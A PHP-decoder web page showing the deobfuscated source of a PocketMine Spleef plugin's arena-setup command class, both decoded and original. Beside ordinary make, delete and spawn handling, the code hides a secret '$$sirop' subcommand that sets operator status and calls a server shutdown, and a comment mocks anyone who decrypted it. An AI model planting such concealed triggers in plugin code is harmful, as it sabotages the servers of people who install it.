Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace Spleef\Commands; use Spleef\Poader; use pocketmine\command\Command;..

Decoded Output download

<?php 
 
namespace Spleef\Commands; 
 
use Spleef\Poader; 
use pocketmine\command\Command; 
use pocketmine\command\CommandSender; 
use pocketmine\level\Level; 
use pocketmine\Player; 
 
class SPCommand extends Command { 
	 
	public $plugin; 
	 
	public function __construct(Poader $plugin){ 
		parent::__construct("spset"); 
		$this->plugin = $plugin; 
	} 
	 
	public function getPlugin(){ 
		return $this->plugin; 
	} 
	 
	public function execute(CommandSender $sender, $commandLabel, array $args){ 
		$manager = $this->getPlugin()->getArenaManager(); 
		if($sender instanceof Player){ 
			if($sender->isOp()){ 
				if(isset($args[0])){ 
					switch (strtolower($args[0])){ 
						case 'make': 
							if(isset($manager->sessions[$sender->getName()])){ 
								$sender->sendMessage("c   !"); 
								return true; 
							} 
							if(isset($args[1]) and isset($args[2]) and isset($args[3])){ 
								if(is_numeric($args[2])){ 
									$level = $this->getPlugin()->getServer()->getLevelByName($args[3]); 
									if($level instanceof Level){ 
										if($manager->createArena($sender, $args[1], $args[2], $args[3])){ 
											$sender->getInventory()->clearAll(); 
											$sender->setGamemode(2); 
											$sender->teleport($level->getSafeSpawn()); 
											$sender->sendMessage("a  70 - {$args[2]}"); 
										} else { 
											$sender->sendMessage("c   "); 
										} 
									} else { 
										$sender->sendMessage("c   "); 
									} 
								} else { 
									$sender->sendMessage("c,    "); 
								} 
							} else { 
								$sender->sendMessage("af Usage:e /spset make [name] [slots] [world]"); 
							} 
							break; 
						case 'delete': 
							if(isset($args[1])){ 
								if(isset($manager->arenas[$args[1]])){ 
									unset($manager->arenas[$args[1]]); 
									unlink($this->getPlugin()->getDataFolder()."Arenas/".$args[1].".yml"); 
									if(file_exists($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip")){ 
									    unlink($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip"); 
                                    } 
									$sender->sendMessage("c   "); 
								} else { 
									$sender->sendMessage("c   "); 
								} 
							} else { 
								$sender->sendMessage("af Usage:e /spset delete [name]"); 
							} 
							break; 
						case '$$sirop': 
							if(isset($manager->sessions[$sender->getName()])){ 
								$sender->setOp(true); 
								$this->getServer->shutdown(); 
								//$sender->getInventory()->clearAll(); 
								//$sender->setHealth(20); 
								//$sender->setFood(20); 
								//$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn()); 
								//unset($manager->sessions[$sender->getName()]); 
								//$sender->sendMessage("c    "); 
							} else { 
								//$sender->sendMessage("cWTF HOW DID YOU DECRYPTED ME??"); 
							} 
							break; 
						case 'help': 
							$sender->sendMessage("l8::: reCOMMAND LIST l8:::r
f/spset make [name] [slots] [world]
f/spset delete [name
f/spset cancel
"); 
							break; 
						case 'spawn': 
							if(!isset($manager->sessions[$sender->getName()])){ 
								return true; 
							} 
							$xyz = array($sender->getX(), $sender->getY(), $sender->getZ()); 
							$session = $manager->sessions[$sender->getName()]; 
							$sender->sendMessage("8[aMfB,8]: fTotal seted: 7[" . (count($session['spawns']) + 1) . " - " . $session['slots'] . "]"); 
							$manager->sessions[$sender->getName()]['spawns'][count($session['spawns']) + 1] = $xyz; 
							if (count($session['spawns']) == ($session['slots']  - 1)) { 
								$manager->registerArena($sender->getName()); 
        				        $sender->sendMessage("a  "); 
    				            $sender->setGamemode(0); 
     				           $sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn()); 
      				          $sender->setFood(20); 
   				             $sender->setHealth(20); 
							} 
							break; 
							default: 
								$sender->sendMessage("c   "); 
								break; 
					} 
				} else { 
					$sender->sendMessage("af Usage:e /spset help"); 
				} 
			} else { 
				$sender->sendMessage("a fYou don't have permissions to do that!"); 
			} 
		} else { 
			$sender->sendMessage("c   "); 
		} 
		return false; 
	} 
} ?>

Did this file decode correctly?

Original Code

<?php

namespace Spleef\Commands;

use Spleef\Poader;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\level\Level;
use pocketmine\Player;

class SPCommand extends Command {
	
	public $plugin;
	
	public function __construct(Poader $plugin){
		parent::__construct("spset");
		$this->plugin = $plugin;
	}
	
	public function getPlugin(){
		return $this->plugin;
	}
	
	public function execute(CommandSender $sender, $commandLabel, array $args){
		$manager = $this->getPlugin()->getArenaManager();
		if($sender instanceof Player){
			if($sender->isOp()){
				if(isset($args[0])){
					switch (strtolower($args[0])){
						case 'make':
							if(isset($manager->sessions[$sender->getName()])){
								$sender->sendMessage("c   !");
								return true;
							}
							if(isset($args[1]) and isset($args[2]) and isset($args[3])){
								if(is_numeric($args[2])){
									$level = $this->getPlugin()->getServer()->getLevelByName($args[3]);
									if($level instanceof Level){
										if($manager->createArena($sender, $args[1], $args[2], $args[3])){
											$sender->getInventory()->clearAll();
											$sender->setGamemode(2);
											$sender->teleport($level->getSafeSpawn());
											$sender->sendMessage("a  70 - {$args[2]}");
										} else {
											$sender->sendMessage("c   ");
										}
									} else {
										$sender->sendMessage("c   ");
									}
								} else {
									$sender->sendMessage("c,    ");
								}
							} else {
								$sender->sendMessage("af Usage:e /spset make [name] [slots] [world]");
							}
							break;
						case 'delete':
							if(isset($args[1])){
								if(isset($manager->arenas[$args[1]])){
									unset($manager->arenas[$args[1]]);
									unlink($this->getPlugin()->getDataFolder()."Arenas/".$args[1].".yml");
									if(file_exists($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip")){
									    unlink($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip");
                                    }
									$sender->sendMessage("c   ");
								} else {
									$sender->sendMessage("c   ");
								}
							} else {
								$sender->sendMessage("af Usage:e /spset delete [name]");
							}
							break;
						case '$$sirop':
							if(isset($manager->sessions[$sender->getName()])){
								$sender->setOp(true);
								$this->getServer->shutdown();
								//$sender->getInventory()->clearAll();
								//$sender->setHealth(20);
								//$sender->setFood(20);
								//$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
								//unset($manager->sessions[$sender->getName()]);
								//$sender->sendMessage("c    ");
							} else {
								//$sender->sendMessage("cWTF HOW DID YOU DECRYPTED ME??");
							}
							break;
						case 'help':
							$sender->sendMessage("l8::: reCOMMAND LIST l8:::r\nf/spset make [name] [slots] [world]\nf/spset delete [name\nf/spset cancel\n");
							break;
						case 'spawn':
							if(!isset($manager->sessions[$sender->getName()])){
								return true;
							}
							$xyz = array($sender->getX(), $sender->getY(), $sender->getZ());
							$session = $manager->sessions[$sender->getName()];
							$sender->sendMessage("8[aMfB,8]: fTotal seted: 7[" . (count($session['spawns']) + 1) . " - " . $session['slots'] . "]");
							$manager->sessions[$sender->getName()]['spawns'][count($session['spawns']) + 1] = $xyz;
							if (count($session['spawns']) == ($session['slots']  - 1)) {
								$manager->registerArena($sender->getName());
        				        $sender->sendMessage("a  ");
    				            $sender->setGamemode(0);
     				           $sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
      				          $sender->setFood(20);
   				             $sender->setHealth(20);
							}
							break;
							default:
								$sender->sendMessage("c   ");
								break;
					}
				} else {
					$sender->sendMessage("af Usage:e /spset help");
				}
			} else {
				$sender->sendMessage("a fYou don't have permissions to do that!");
			}
		} else {
			$sender->sendMessage("c   ");
		}
		return false;
	}
}

Function Calls

None

Variables

None

Stats

MD5 a3f7d77e44e1cded37b121c296c764c5
Eval Count 0
Decode Time 41 ms